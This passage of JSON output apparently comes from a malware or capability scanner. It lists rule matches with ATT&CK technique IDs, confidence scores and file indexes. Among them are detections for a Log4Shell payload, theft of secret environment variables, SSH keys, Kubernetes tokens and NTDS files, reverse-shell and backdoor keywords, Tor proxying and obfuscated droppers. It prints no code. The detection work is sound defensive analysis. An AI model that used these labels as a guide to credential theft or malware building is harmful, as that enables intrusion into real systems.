"id": "metadata/package/dependencies/declaration::pypi-http-client-dependency", "conf": 0.9, "crit": 3, "desc": "PyPI metadata declares an HTTP client dependency" }, { "id": "micro-behaviors/data/string/conversion::python-bytes-string-conversion", "conf": 0.86, "crit": 3, "desc": "Python bytes/string encoding conversion", "from": [ { "file": 33 } ] }, { "id": "metadata/package/documentation/security-advisory::nvd-identifier", "conf": 0.92, "crit": 3, "desc": "References an NVD advisory identifier", "from": [ { "file": 21 } ] }, { "id": "micro-behaviors/data/serialize/envelope::json-type-field", "conf": 0.9, "crit": 3, "desc": "JSON object type field fragment", "from": [ { "file": 5 } ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "from": [ { "file": 3 } ] }, { "id": "micro-behaviors/communications/http/request/action-resource::named-other-principal", "conf": 0.92, "crit": 3, "desc": "Named other-principal variable", "from": [ { "file": 55 } ] }, { "id": "micro-behaviors/data/control-flow/loop::python-range-loop-long-span", "conf": 0.85, "crit": 3, "desc": "Uses Python range stop of 100+", "from": [ { "file": 139 } ] }, { "id": "micro-behaviors/communications/http/services/analytics::newrelic-service-reference", "atk": "T1071.001", "conf": 0.86, "crit": 3, "desc": "References the New Relic service", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/communications/http/request/body::remote-transfer-action-field", "conf": 0.92, "crit": 3, "desc": "Field named upload, backup or exfil", "from": [ { "file": 135 } ] }, { "id": "metadata/file/catalog/service::ai-vault-service-names", "conf": 0.82, "crit": 1, "desc": "AI and vault service names", "from": [ { "file": 2 } ], "uses": [ 458, 598, 1092 ] }, { "id": "micro-behaviors/data/serialize/schema-object::country-code-camel", "conf": 0.5, "crit": 3, "desc": "Contains a countryCode data field", "from": [ { "file": 47 } ] }, { "id": "objectives/lateral-movement/brute-force/password::common-account-root-password-pair", "atk": "T1110.001", "conf": 0.86, "crit": 3, "desc": "Common account paired with root password", "from": [ { "file": 2 } ] }, { "id": "objectives/command-and-control/backdoor/keywords::generic-term-reverse-shell", "atk": "T1059", "conf": 0.7, "crit": 3, "desc": "Reverse shell keyword", "from": [ { "file": 117 } ] }, { "id": "micro-behaviors/communications/proxy/target::target-connect-python", "atk": "T1090,T1572", "conf": 0.94, "crit": 3, "desc": "Python connects to target variable", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/data/string/unicode::zero-width-format-escape-set", "conf": 0.94, "crit": 3, "desc": "References a set of zero-width format escapes", "from": [ { "file": 71 } ] }, { "id": "micro-behaviors/process/create/popen::os-popen-ast", "atk": "T1059.006", "mbc": "C0017", "conf": 0.9, "crit": 3, "desc": "Executes command via os.popen" }, { "id": "objectives/evasion/masquerade/extension-mismatch::quoted-font-path-literal", "atk": "T1036.008", "conf": 0.9, "crit": 3, "desc": "Quoted path ends in a font extension", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/communications/http/request/proxy::http-connect-proxy", "conf": 0.85, "crit": 3, "desc": "HTTP CONNECT proxy tunneling", "from": [ { "file": 102 } ] }, { "id": "objectives/command-and-control/trigger/activation::trigger-keyword-upper-suffix", "conf": 0.3, "crit": 3, "desc": "TRIGGER keyword (uppercase suffix)", "from": [ { "file": 128 } ] }, { "id": "metadata/package/testing/harness/unit::python-unittest-testcase-marker", "conf": 0.95, "crit": 3, "desc": "Python unittest TestCase marker", "from": [ { "file": 159 } ] }, { "id": "objectives/exfiltration/oob/system-profile::python-user-path-profile-fields", "atk": "T1041", "mbc": "E1041", "conf": 0.88, "crit": 3, "desc": "Python user path profile fields", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/communications/http/ip-discovery::ip-api-com", "conf": 0.85, "crit": 3, "desc": "ip-api.com geolocation service", "from": [ { "file": 47 } ] }, { "id": "well-known/tool/detection/redaction::secret-pattern-severity-field", "conf": 0.95, "crit": 3, "desc": "Finding severity field with a level" }, { "id": "micro-behaviors/communications/http/ssl::unverified-ssl-context", "mbc": "C0005", "conf": 0.9, "crit": 3, "desc": "Disables SSL certificate verification", "from": [ { "file": 73 } ] }, { "id": "objectives/exfiltration/oob/system-profile::python-platform-version-fields", "atk": "T1041", "mbc": "E1041", "conf": 0.88, "crit": 3, "desc": "Python platform version fields", "from": [ { "file": 17 } ] }, { "id": "micro-behaviors/communications/socket/ssl::python-peer-certificate-fetch", "conf": 0.9, "crit": 3, "desc": "Python fetches a TLS peer certificate", "from": [ { "file": 37 } ] }, { "id": "objectives/supply-chain/credential-theft/env::py-harvest-secret-key", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Python harvests secret key env vars" }, { "id": "objectives/persistence/system/surface/paths::managed-persistence-marker--rx-7", "atk": "T1547", "conf": 0.84, "crit": 3, "desc": "Matches 'autorun)(service (persistence'", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/process/create/subprocess::sys-executable-c-subprocess", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.94, "crit": 3, "desc": "subprocess runs inline Python code", "from": [ { "file": 183 } ] }, { "id": "micro-behaviors/communications/http/message::host-header-line-token", "conf": 0.85, "crit": 3, "desc": "HTTP Host header name token", "from": [ { "file": 122 } ] }, { "id": "objectives/command-and-control/dropper/builder::loads-b", "conf": 1.0, "crit": 3, "desc": "marshal.loads of bytes literal", "from": [ { "file": 186 } ] }, { "id": "micro-behaviors/fs/path/config/web::mysql-config-path", "conf": 0.8, "crit": 3, "desc": "MySQL/MariaDB server config path (my.cnf)", "from": [ { "file": 41 } ] }, { "id": "micro-behaviors/communications/proxy/tor::tor-newnym-control-signal", "atk": "T1090.003", "mbc": "C0001", "conf": 0.96, "crit": 3, "desc": "Requests a new Tor circuit", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/fs/path/application/executable::browser-apps-brave", "conf": 0.5, "crit": 3, "desc": "Brave browser application-name token", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/process/create/shell/spawn::subprocess-timeout-expired-text", "conf": 0.88, "crit": 3, "desc": "Subprocess TimeoutExpired reference", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/data/decode/hex::hex-decode-int-16", "conf": 0.7, "crit": 3, "desc": "Hex decoding via int(x, 16)", "from": [ { "file": 102 } ] }, { "id": "micro-behaviors/os/firewall/iptables::iptables-save", "conf": 0.9, "crit": 3, "desc": "iptables-save command", "from": [ { "file": 2 } ] }, { "id": "metadata/file/catalog/service::service-name-mailgun", "conf": 0.82, "crit": 3, "desc": "Mailgun service name", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/communications/ip/parse::ip-network-from-cidr", "conf": 0.9, "crit": 3, "desc": "Builds an IP network object from CIDR", "from": [ { "file": 47 } ] }, { "id": "micro-behaviors/fs/directory/cwd::python-path-cwd", "conf": 0.9, "crit": 3, "desc": "Gets the current directory with Path.cwd", "from": [ { "file": 113 } ] }, { "id": "micro-behaviors/crypto/library/keyword::blowfish-keyword", "conf": 0.4, "crit": 2, "desc": "Blowfish block cipher reference", "from": [ { "file": 14 } ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-field", "conf": 0.86, "crit": 3, "desc": "Certificate subdomain result field", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/communications/http/websocket::wss-scheme", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "References an encrypted wss:// WebSocket URL", "from": [ { "file": 43 } ] }, { "id": "micro-behaviors/process/identity/setuid::os-setuid-call", "mbc": "C0042", "conf": 0.9, "crit": 3, "desc": "Python changes process user ID" }, { "id": "micro-behaviors/communications/http/url/telemetry::collect-path", "atk": "T1071.001", "conf": 0.74, "crit": 3, "desc": "Collection endpoint path", "from": [ { "file": 142 } ] }, { "id": "micro-behaviors/process/create/subprocess::run-content", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.75, "crit": 3, "desc": "Calls subprocess.run", "from": [ { "file": 162 } ] }, { "id": "micro-behaviors/data/source/property/identity::flags-identifier", "conf": 0.85, "crit": 3, "desc": "Source identifier named flags", "from": [ { "file": 14 } ] }, { "id": "well-known/app/security/defender::defender-critical-component-name", "conf": 0.94, "crit": 3, "desc": "Critical Defender component name", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/http/services/entra-directory::user-collection-path-token", "conf": 0.92, "crit": 3, "desc": "Microsoft Graph user collection endpoint", "from": [ { "file": 9 } ] }, { "id": "objectives/execution/exploit/command-injection::log4shell-jndi-lookup-payload", "atk": "T1190", "mbc": "E1190", "conf": 0.99, "crit": 4, "desc": "Log4Shell JNDI lookup payload", "from": [ { "file": 128 } ] }, { "id": "objectives/impact/ransom/file-operations::os-rename", "atk": "T1486", "conf": 0.4, "crit": 3, "desc": "os.rename function", "from": [ { "file": 152 } ] }, { "id": "micro-behaviors/process/create/vcs/git::git-apply-cached-option", "conf": 0.95, "crit": 3, "desc": "Git apply --cached option token" }, { "id": "micro-behaviors/ui/graphics/draw::canvas-2d-context", "conf": 0.78, "crit": 3, "desc": "Uses canvas 2D context" }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-3", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Corporate hostname word shard internal", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::python-osname-nt-check", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Windows platform check via os.name == 'nt'", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/http/url/github::raw-githubusercontent-web-file", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "raw.githubusercontent.com web file URL", "from": [ { "file": 45 } ] }, { "id": "metadata/file/catalog/service::deployment-helper-context", "conf": 0.9, "crit": 3, "desc": "Service deployment helper context", "from": [ { "file": 126 } ] }, { "id": "micro-behaviors/communications/http/services/github::github-rest-api-version-header", "conf": 0.9, "crit": 3, "desc": "GitHub REST API version header", "from": [ { "file": 108 } ] }, { "id": "objectives/credential-access/cloud/container::python-kube-serviceaccount-read", "atk": "T1552.001", "mbc": "E1552", "conf": 0.94, "crit": 4, "desc": "Python reads Kubernetes serviceaccount files", "from": [ { "file": 133 } ], "uses": [ 327, 722 ] }, { "id": "micro-behaviors/process/hook/interception::python-stdio-stream-hook", "mbc": "B0024", "conf": 0.88, "crit": 3, "desc": "Python replaces a standard I/O stream", "from": [ { "file": 8 } ] }, { "id": "objectives/command-and-control/dropper/delivery/http::multi-persist-dirs", "atk": "T1105", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Multiple persistence directories", "from": [ { "file": 129 } ] }, { "id": "metadata/file/catalog/service::service-name-digitalocean", "conf": 0.6, "crit": 3, "desc": "DigitalOcean service name", "from": [ { "file": 47 } ] }, { "id": "micro-behaviors/data/db/redis::redis-url", "conf": 0.9, "crit": 3, "desc": "redis:// URL scheme", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/data/encode/base64::urlsafe-b64encode-call", "conf": 0.9, "crit": 3, "desc": "Calls base64.urlsafe_b64encode (Python)", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/communications/ip/endpoint::https-port-443-transport", "conf": 0.6, "crit": 3, "desc": "TLS service port number", "from": [ { "file": 65 } ] }, { "id": "objectives/anti-static/obfuscation/string/concat::python-host-fstring-url", "atk": "T1027", "conf": 0.85, "crit": 3, "desc": "Python host f-string URL", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/ui/window/insert-html::browser-innerhtml-assignment", "conf": 0.8, "crit": 3, "desc": "Writes HTML into the DOM with innerHTML" }, { "id": "micro-behaviors/process/fd/stdio::py-stderr-custom-stream", "conf": 0.75, "crit": 3, "desc": "Python redirects stderr to custom stream", "from": [ { "file": 8 } ] }, { "id": "objectives/anti-static/obfuscation/encoding/ip-notation::ipv4-struct-pack", "atk": "T1027", "mbc": "B0032", "conf": 0.9, "crit": 3, "desc": "struct.pack with hex IP constant", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/http/url/path::remote-transfer-url-path", "conf": 0.95, "crit": 3, "desc": "URL path names upload, backup or exfil", "from": [ { "file": 189 } ] }, { "id": "micro-behaviors/communications/http/server/request::python-http-response-body-write", "conf": 0.86, "crit": 3, "desc": "Writes an HTTP handler response body", "from": [ { "file": 59 } ] }, { "id": "micro-behaviors/fs/chmod/executable/mode::chmod-exec-literal-target", "atk": "T1222", "mbc": "E1222", "conf": 0.88, "crit": 3, "desc": "chmod makes a literal path executable" }, { "id": "micro-behaviors/communications/http/client/library::openai-client-import", "conf": 0.9, "crit": 3, "desc": "Python OpenAI API client import", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/os/package-manager/install::ensurepip-bootstrap", "mbc": "C0002", "conf": 0.8, "crit": 2, "desc": "pip bootstrapping via ensurepip", "from": [ { "file": 88 } ] }, { "id": "metadata/file/string/cloud::cloud-instance-metadata-link-local-host", "conf": 0.88, "crit": 3, "desc": "Cloud instance metadata link-local address", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/communications/http/client/response-body::python-response-body-member-reference", "conf": 0.8, "crit": 3, "desc": "Python response body member access" }, { "id": "objectives/command-and-control/channel/tunnel/proxy::gost-scheme--rx-1", "atk": "T1572", "conf": 0.5, "crit": 3, "desc": "socks5:// proxy URL scheme", "from": [ { "file": 72 } ] }, { "id": "objectives/evasion/masquerade/naming/posix::secret-b", "conf": 0.6, "crit": 3, "desc": "Secret naming pattern family B", "from": [ { "file": 1 } ] }, { "id": "objectives/supply-chain/credential-theft/env::py-harvest-db-password", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "Python harvests database password env var", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/crypto/symmetric/xor/loop::xor-modulo-key-loop", "conf": 0.8, "crit": 3, "desc": "Loop XORs through modulo-indexed accumulator", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/process/terminate/kill::python-process-kill-call", "conf": 0.9, "crit": 3, "desc": "Python calls a process kill method", "from": [ { "file": 150 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-import-alias-urlopen", "conf": 0.82, "crit": 3, "desc": "urllib import alias urlopen call", "from": [ { "file": 7 } ] }, { "id": "well-known/tool/detection/redaction::secret-pattern-token-label", "conf": 0.95, "crit": 3, "desc": "Secret scanner token label", "from": [ { "file": 7 } ] }, { "id": "objectives/discovery/network/scan/port::service-port-scan-automation", "atk": "T1046", "mbc": "E1046", "conf": 0.85, "crit": 3, "desc": "Automated service-port probing", "from": [ { "file": 16 } ], "uses": [ 358, 918 ] }, { "id": "micro-behaviors/communications/http/device-code::pending-status-field", "conf": 0.93, "crit": 3, "desc": "Pending status field", "from": [ { "file": 65 } ] }, { "id": "micro-behaviors/data/manipulation::sensitive-token-redaction", "conf": 0.8, "crit": 3, "desc": "Redacts a token or secret value", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/socket/ssl::verify-mode-none", "conf": 0.85, "crit": 3, "desc": "verify_mode = ssl.CERT_NONE (Python)", "from": [ { "file": 50 } ] }, { "id": "objectives/credential-access/files/config::ssh-private-key-path", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "SSH private-key path literal", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/http/download/curl::curl-silent-fail-flags-text", "atk": "T1105", "conf": 0.86, "crit": 3, "desc": "curl text contains silent or fail flags" }, { "id": "micro-behaviors/os/service/config::sshd-config-path", "conf": 0.7, "crit": 3, "desc": "SSH daemon configuration file", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/path/secret-config::dotenv-filename-literal", "atk": "T1552.001", "conf": 0.85, "crit": 1, "desc": ".env filename literal", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/process/create/subprocess::run-ast", "atk": "T1059.006", "mbc": "C0017", "conf": 0.85, "crit": 3, "desc": "Calls subprocess.run to launch a process", "from": [ { "file": 15 } ] }, { "id": "objectives/execution/interpreter/compile::python-runtime-compile-call", "atk": "T1059.006", "conf": 0.92, "crit": 3, "desc": "Python runtime compile call", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/data/string/search::compiled-python-pattern-set", "conf": 0.9, "crit": 3, "desc": "Compiles a set of Python regex patterns", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urlopen-response-body-read", "conf": 0.9, "crit": 3, "desc": "Reads urllib response body", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/data/db/mongodb::mongodb-url", "conf": 0.9, "crit": 3, "desc": "mongodb:// URL scheme", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/http/download/curl::curl", "atk": "T1105", "conf": 0.66, "crit": 3, "desc": "Download via curl", "from": [ { "file": 45 }, { "file": 130 } ], "uses": [ 384 ] }, { "id": "micro-behaviors/data/control-flow/error-handling::broad-exception-return-suppression", "atk": "T1027", "mbc": "C0027", "conf": 0.86, "crit": 3, "desc": "Broad exception returns failure sentinel", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/os/pam/auth::libpam-string", "conf": 0.5, "crit": 3, "desc": "libpam library reference", "from": [ { "file": 96 } ] }, { "id": "micro-behaviors/os/network/status::netstat", "conf": 0.9, "crit": 3, "desc": "netstat command", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/fs/directory/cwd::python-os-getcwd", "conf": 0.9, "crit": 3, "desc": "Calls Python os.getcwd", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/fs/enumerate/directory::python-directory-listing", "atk": "T1083", "conf": 0.86, "crit": 3, "desc": "Python lists directory entries", "from": [ { "file": 125 } ] }, { "id": "metadata/package/documentation/security-advisory::cisa-identifier", "conf": 0.92, "crit": 3, "desc": "References a CISA advisory identifier", "from": [ { "file": 100 } ] }, { "id": "micro-behaviors/ui/window/dom-access::browser-queryselectorall-call", "conf": 0.86, "crit": 3, "desc": "Queries multiple DOM elements" }, { "id": "micro-behaviors/data/archive/create/zip::python-zipfile-writer", "atk": "T1560.001", "conf": 0.95, "crit": 3, "desc": "Python opens ZipFile in write mode", "from": [ { "file": 106 } ] }, { "id": "objectives/anti-static/obfuscation/payload/config::api-named-byte-array-const--rx-6", "atk": "T1027", "mbc": "B0032", "conf": 0.92, "crit": 3, "desc": "bytes() literal (Python byte array)", "from": [ { "file": 116 } ] }, { "id": "objectives/command-and-control/backdoor/keywords::backdoor-process", "atk": "T1543", "conf": 0.5, "crit": 4, "desc": "Backdoor process keyword", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/process/create/execv::os-execv", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.85, "crit": 3, "desc": "os.execv - execute with argv list" }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-devnull", "atk": "T1059.006", "conf": 0.9, "crit": 3, "desc": "Python subprocess suppresses stdio", "from": [ { "file": 60 } ] }, { "id": "well-known/malware/botnet/pcpjack::pcpjack-renamed-module-names", "atk": "T1105", "conf": 0.94, "crit": 3, "desc": "PCPJack renamed module names", "from": [ { "file": 85 } ] }, { "id": "micro-behaviors/fs/path/secret-config::aws-config", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "AWS config file path", "from": [ { "file": 91 } ] }, { "id": "objectives/credential-access/cloud/token/metadata::gcp-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "GCP instance metadata endpoint reference", "from": [ { "off": 20903, "file": 45, "line": 514 } ], "uses": [ 248, 433 ] }, { "id": "objectives/impact/ransom/encrypt/runtime-generated::destructive-data-target-a", "atk": "T1486", "conf": 0.92, "crit": 3, "desc": "Destructive operation names file data", "from": [ { "file": 19 } ] }, { "id": "objectives/credential-access/ssh/key::python-expanduser-ssh-directory-enumeration", "atk": "T1083,T1552.004", "conf": 0.94, "crit": 4, "desc": "Python enumerates an expanded .ssh directory", "from": [ { "file": 125 }, { "off": 49082, "file": 129, "line": 1120 } ], "uses": [ 135, 662 ] }, { "id": "micro-behaviors/communications/http/user-agent::ua-wget", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "wget User-Agent", "from": [ { "file": 138 } ] }, { "id": "micro-behaviors/data/decode/encoded/formats::python-base32-decode", "conf": 0.85, "crit": 3, "desc": "Python base32 decoder call", "from": [ { "file": 121 } ] }, { "id": "objectives/credential-access/dump/system::windows-ntds-database-path", "atk": "T1003", "conf": 0.97, "crit": 4, "desc": "Windows guest NTDS database path", "from": [ { "file": 45 } ] }, { "id": "metadata/package/testing/corpus::server-attack-category-labels", "conf": 0.9, "crit": 3, "desc": "Multiple server-side attack-category labels", "from": [ { "file": 4 } ], "uses": [ 1080, 1215, 1248 ] }, { "id": "metadata/package/testing/harness/runtime::is-test", "conf": 0.9, "crit": 2, "desc": "Test, spec, or fixture file", "from": [ { "file": 158 } ], "uses": [ 28, 1031 ] }, { "id": "micro-behaviors/communications/http/url/query::query-serializer-call", "conf": 0.9, "crit": 3, "desc": "Calls a URL query serializer", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/process/create/workers::worker-pool", "conf": 0.6, "crit": 2, "desc": "References a worker, thread, or goroutine pool", "from": [ { "file": 10 } ] }, { "id": "objectives/credential-access/ssh/key::credentials-txt-file", "conf": 0.75, "crit": 3, "desc": "Plaintext credentials dump file", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/communications/email/mime::mime-octet-stream", "conf": 0.85, "crit": 3, "desc": "Uses the application/octet-stream MIME type", "from": [ { "file": 138 } ] }, { "id": "metadata/package/ecosystem::pkginfo-version-field", "conf": 0.9, "crit": 2, "desc": "Declares Python package version", "from": [ { "file": 218 } ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-4", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "SSH private-key or known-hosts path literal", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/data/runtime/keywords::pipe-to-cmd", "conf": 0.9, "crit": 1, "desc": "Pipe to cmd interpreter", "from": [ { "file": 120 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::bearer-prefix", "atk": "T1071.001", "mbc": "C0002", "conf": 0.72, "crit": 3, "desc": "HTTP Bearer authorization header prefix", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/fs/delete/file/command::rm-force-variable-target", "atk": "T1070.004", "mbc": "C0047", "conf": 0.9, "crit": 3, "desc": "Force-deletes a shell variable target" }, { "id": "micro-behaviors/communications/http/cookies::python-response-set-cookie-header-read", "conf": 0.95, "crit": 3, "desc": "Python response object reads Set-Cookie header", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/data/control-flow/error-handling::python-import-error-handler", "atk": "T1027", "mbc": "C0027", "conf": 0.5, "crit": 3, "desc": "Handles a missing-module ImportError", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/fs/path/config/app::ide-directory-ignore-list", "conf": 0.9, "crit": 3, "desc": "IDE directories in ignore list", "from": [ { "file": 13 } ] }, { "id": "micro-behaviors/communications/http/services/artifactory::service-route", "conf": 0.95, "crit": 3, "desc": "References a JFrog Artifactory HTTP route", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/data/source/syntax/array::js-array-sort-call", "conf": 0.72, "crit": 3, "desc": "Sorts a JavaScript array" }, { "id": "micro-behaviors/communications/icmp/ping::ping", "conf": 0.9, "crit": 3, "desc": "References the ping network-reachability command" }, { "id": "micro-behaviors/communications/dns/doh::doh-google-ip", "atk": "T1071.004", "mbc": "C0011", "conf": 0.7, "crit": 3, "desc": "Google DoH IP endpoint", "from": [ { "file": 31 } ] }, { "id": "well-known/tool/detection/sast::python-secret-label-catalog", "conf": 0.94, "crit": 2, "desc": "Python secret detector label catalog", "from": [ { "file": 24 } ] }, { "id": "micro-behaviors/data/format/json::map-command-result-schema", "conf": 0.94, "crit": 3, "desc": "Object exposes command and result JSON fields", "from": [ { "file": 14 } ], "uses": [ 29, 1325 ] }, { "id": "micro-behaviors/os/firewall/iptables::iptables-accept-dport", "conf": 0.9, "crit": 3, "desc": "Adds an inbound iptables port allow rule", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/socket/ssl::tls-validation-fully-disabled", "conf": 0.95, "crit": 3, "desc": "TLS hostname and certificate validation both disabled", "from": [ { "off": 2660, "file": 50, "line": 72 } ], "uses": [ 120, 1199 ] }, { "id": "micro-behaviors/data/llm/wire-marker::system-role-marker", "conf": 0.72, "crit": 3, "desc": "LLM system-role value", "from": [ { "file": 6 } ] }, { "id": "micro-behaviors/communications/http/header/custom::x-forwarded-for", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "X-Forwarded-For proxy header", "from": [ { "file": 92 } ] }, { "id": "metadata/file/string/cloud::aws-imds-v2-token-path", "conf": 0.88, "crit": 3, "desc": "AWS IMDSv2 token request path", "from": [ { "file": 119 } ] }, { "id": "micro-behaviors/communications/http/url/github::raw-githubusercontent-any", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "raw.githubusercontent.com URL", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::x-api-key-header-map-entry", "atk": "T1071.001", "mbc": "C0002", "conf": 0.88, "crit": 3, "desc": "Configures an X-API-Key request header", "from": [ { "file": 116 } ] }, { "id": "objectives/anti-static/obfuscation/string/recovery::python-min-string-length-check", "conf": 0.7, "crit": 3, "desc": "Recovered string length check", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/communications/http/token-auth::jwt-x5t-key-identifier-field", "conf": 0.92, "crit": 3, "desc": "x5t key identifier field", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/llm-proxy::python-ai-cloud-provider-reference", "atk": "T1071.001", "conf": 0.9, "crit": 3, "desc": "Python AI cloud provider reference", "from": [ { "file": 7 } ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-cloud-credential-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Cloud credential path marker", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/data/db/config::db-key-user", "conf": 0.85, "crit": 1, "desc": "Connection user key", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::socket-dns-lookup", "conf": 0.8, "crit": 3, "desc": "Socket-based DNS lookup capability", "from": [ { "file": 31 } ], "uses": [ 667, 735, 1153 ] }, { "id": "objectives/anti-analysis/self-modify/runtime::polymorphic-payload-mutate", "conf": 0.5, "crit": 3, "desc": "polymorphic payload mutate", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/fs/proc/container::runtime-keywords", "conf": 1.0, "crit": 1, "desc": "Container runtime name literal present", "from": [ { "file": 37 }, { "file": 53 }, { "file": 60 }, { "file": 94 }, { "file": 124 }, { "file": 129 } ], "uses": [ 1078 ] }, { "id": "micro-behaviors/communications/http/form::viewstate-generator-field", "conf": 0.85, "crit": 3, "desc": "ASP.NET __VIEWSTATEGENERATOR form field", "from": [ { "file": 53 } ] }, { "id": "objectives/impact/degrade/edr/targeting::eset-name", "atk": "T1562.001", "conf": 0.5, "crit": 1, "desc": "ESET product reference", "from": [ { "file": 126 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::auth-like-constant-assignment", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Auth-like constant assignment", "from": [ { "file": 83 } ] }, { "id": "micro-behaviors/os/env/secret-name::keyword-auth", "conf": 0.86, "crit": 3, "desc": "Python reads AUTH-named environment variable", "from": [ { "file": 89 } ] }, { "id": "micro-behaviors/communications/http/server/framework::server-python", "atk": "T1071.001", "mbc": "C0002", "conf": 0.75, "crit": 3, "desc": "Python HTTP server", "from": [ { "file": 59 }, { "file": 89 }, { "file": 104 } ], "uses": [ 475 ] }, { "id": "objectives/anti-static/obfuscation/string/recovery::python-printable-char-check", "conf": 0.7, "crit": 3, "desc": "Python logic checking printable ASCII" }, { "id": "micro-behaviors/communications/http/auth::signature-field-to-field-assignment", "mbc": "C0002", "conf": 0.96, "crit": 3, "desc": "Copies signature between structured fields", "from": [ { "file": 148 } ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-redis", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token redis", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/process/enumerate/shell::pgrep-cmd", "atk": "T1057", "conf": 0.6, "crit": 3, "desc": "pgrep process search command" }, { "id": "micro-behaviors/fs/path/private-key::keys", "atk": "T1552.004", "conf": 0.8, "crit": 1, "desc": "SSH keys directory path literal", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/socket/connect::socket-create-connection-text", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python socket create_connection in text", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/os/pam/auth::pam-config-auth-rule-write", "conf": 0.85, "crit": 3, "desc": "Writes PAM authentication rule", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/data/control-flow/module-exec::js-synchronous-iife-invoke", "conf": 0.86, "crit": 3, "desc": "Immediately invokes a synchronous function", "from": [ { "off": 13419, "file": 79, "line": 359 } ], "uses": [ 485, 642 ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-tomcat", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token tomcat", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/os/group/membership::privileged-local-group-name", "atk": "T1098", "conf": 0.9, "crit": 3, "desc": "References a privileged local group", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/http/request/result::http-result-payload-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Named payload field", "from": [ { "file": 10 } ] }, { "id": 